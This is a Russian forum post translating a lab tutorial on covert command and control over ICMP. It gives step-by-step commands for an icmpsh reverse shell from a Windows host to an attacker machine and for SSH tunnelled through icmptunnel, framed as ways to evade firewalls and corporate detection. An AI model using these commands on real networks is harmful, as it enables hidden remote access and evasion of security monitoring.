Оглавление:
1. Краткое описание работы протокола ICMP
2. Командование и управление через протокол ICMP
2.1 Зависимости
2.2 icmpsh: C2-канал и его установка
2.3 Запуск icmpsh как сервер
2.4 Запуск icmpsh как клиент
3. ICMP туннелирование3.1 Зависимости
3.2 Конфигурация ICMP через серверную машину (цель)
3.3 Настройка туннеля ICMP через клиентскую машину (злоумышленник)
3.4 Подключение SSH через ICMP
Краткое описание работы протокола ICMP
Протокол межсетевых управляющих сообщений (ICMP) является вспомогательным протоколом в наборе протоколов интернета.
Он используется сетевыми устройствами, включая маршрутизаторы, для отправки сообщений об ошибках и оперативной информации (информации об состоянии объекта), которая указывает на то, что запрошенная служба,хост или маршрутизатор недоступны.
Это 3 уровень (в модели OSI), то есть протокол сетевого уровня, используемый командой ping для отправки сообщения через полезную нагрузку ICMP, которая зафиксирована с пакетом заголовка IP. Согласно MTU размер пакета ICMP не может быть больше 1500 байт.
ICMP-пакет на сетевом уровне
Команда ping отправляет эхо-запрос к ICMP целевому хосту. Целевой хост отвечает эхо-ответом, который означает, что целевой хост жив (работает).
Командование и управление через протокол ICMP
Во многих наших публикациях мы обсуждали канал C2, который еще называют "командным и контрольным", поэтому вы можете узнать его здесь. Хотя вам приятно узнать, как использовать протокол ICMP в качестве канала управления и контроля между этим тезисом. Впрочем вам будет приятно узнать, как использовать протокол ICMP в качестве канала управления и контроля.
Кибер-атаки прогуливаются по взломщикам и ИБ-шникам поэтому нам нужен частичный план резервного копирования. Поскольку все мы знаем, что компании стали умнее, они понимают как отследить TCP reverse подключение. Таким образом, мы придумали секретный shell ICMP, который использует icmpsh в качестве C2.
Зависимости
Атакующая машина или C2-канал: 192.168.1.108 (Kali Linux)
Хост машина: 192.168.1.106 (Windows 10)
Icmpsh: C2-канал и его установка
icmpsh - это простая обратная оболочка ICMP с поддержкой win32 и POSIX на C, Perl или Python. Основное преимущество по сравнению с другими аналогичными инструментами с открытым исходным кодом заключается в том, что ему не требуются административные привилегии для запуска на целевой машине.
Инструмент чистый, легкий и портативный. Клиент работает под Windows, он написан на C и работает только на Windows, тогда как сервер может работать на любой платформе (на атакующей машине).
Его очень легко установить и использовать как c2-канал. Включите компьютер и загрузите icmpsh с Github.
Код:
git clone https://github.com/inquisb/icmpsh.git
Запуск icmpsh как сервер
После завершения загрузки вы можете использовать следующую команду для запуска сервера. Самый важный шаг перед выполнением действий - отключить пинг-ответ на вашем компьютере.
Это для того, чтобы ядро не отвечало на свои ICMP пакеты.
Код:
sysctl -w net.ipv4.icmp_echo_ignore_all=1
cd icmpsh
syntax: ./icmpsh_m.py <attacker’s-IP> <target-IP>
./icmpsh_m.py 192.168.1.108 192.168.1.106
Запуск icmpsh как клиент
Теперь установите инструмент icmpsh внутри хост машины для работы в качестве клиента.
Теперь выполните эти команды:
Код:
syntax: icmpsh.exe -t <Kali IP>
icmpsh.exe -t 192.168.1.108
Как только вышеприведенная команда будет выполнена на хост машине мы получим обратную оболочку. На изображении, приведенном ниже, вы можете наблюдать это.
Так, как мы уже говорили, что с помощью ping icmpsh получает обратную оболочку хост-машины по каналу icmp. Поэтому я просто запущу команду и использую Wireshark для захвата ее пакета, чтобы узнать что происходит.
Замечательно!! Это работает точно так, как мы предполагали, и данные передаются по сетевому уровню с помощью пакетов запроса/ответа PING, таким образом, никакие службы или порт не требуются. Трафик не обнаруживается брандмауэрами на основе прокси, и это может обходить правила брандмауэра.
ICMP туннелирование
ICMP-туннель - это подход, который работает путем туннелирования TCP-соединений через ICMP-пакеты. Здесь мы получим доступ к ssh-сессии, которая будет установлена ICMP-пакетами. Следовательно, снова будет установлено TCP-соединение на уровне 3 (по OSI), то есть на сетевом уровне, который будет как полезная нагрузка ICMP, и это может быть полезно для обхода правила брандмауэра.
Зависимости
Серверная машина
ens33: 192.168.1.108
tun0: 10.0.0.1
Клиентская машина
eth0: 192.168.1.111
tun0: 10.0.0.2
icmptunnel обеспечивает более надежный протокол и механизм для туннелирования через межсетевые экраны с отслеживанием состояния и NAT.
Конфигурация ICMP через серверную машину (цель)
Загрузите и установите icmptunnel на хост-компьютере и скомпилируйте файл, как показано на рисунке ниже.
Код:
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
Отключите эхо-ответ ICMP как на клиенте, так и на сервере.
Код:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
На стороне сервера запустите icmptunnel в режиме сервера и назначьте IP-адрес новому туннельному интерфейсу.
Код:
./icmptunnel -s
Ctrlz
bg
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
ifconfig
Настройка туннеля ICMP через клиентскую машину (злоумышленник)
Аналогичным образом повторите тот же процесс на компьютере нарушителя, чтобы установить icmptunnel для однорангового соединения.
Код:
git clone https://github.com/jamesbarlow/icmptunnel.git
Сначала скомпилируйте его, а затем отключите эхо-ответ ICMP.
Код:
cd icmptunnel
make
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.108
ctrl z
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
Подключение SSH через ICMP
В этот момент у вас должен быть point-to-point туннель через пакеты ICMP. У меня 10.0.0.1 на стороне сервера и 10.0.0.2 на стороне клиента. Попробуeм подключиться к серверу через SSH по протоколу tcp на клиенте:
Код:
ssh raj@10.0.0.1
Туннель icmp подключен между сервером и клиентом на начальном этапе ( фазе инициализации), что можно увидеть на следующем изображении, где мы захватили трафик, проходящий между сервером и клиентом с помощью Wireshark.
Каждый трафик ICMP. Пакет HTTP / IP можно рассматривать как часть полезной нагрузки ICMP. Обратите внимание, каким образом исходный IP был выдан nat. Таким образом, трафик не пойдет на транспортный уровень для подключения SSH через порт 22.
Источник:
Ссылка скрыта от гостей
P.S Старался сделать максимально хороший перевод для вас <3. Если заметили ошибки или еще что-то подобное пишите мне исправлю.
Последнее редактирование модератором: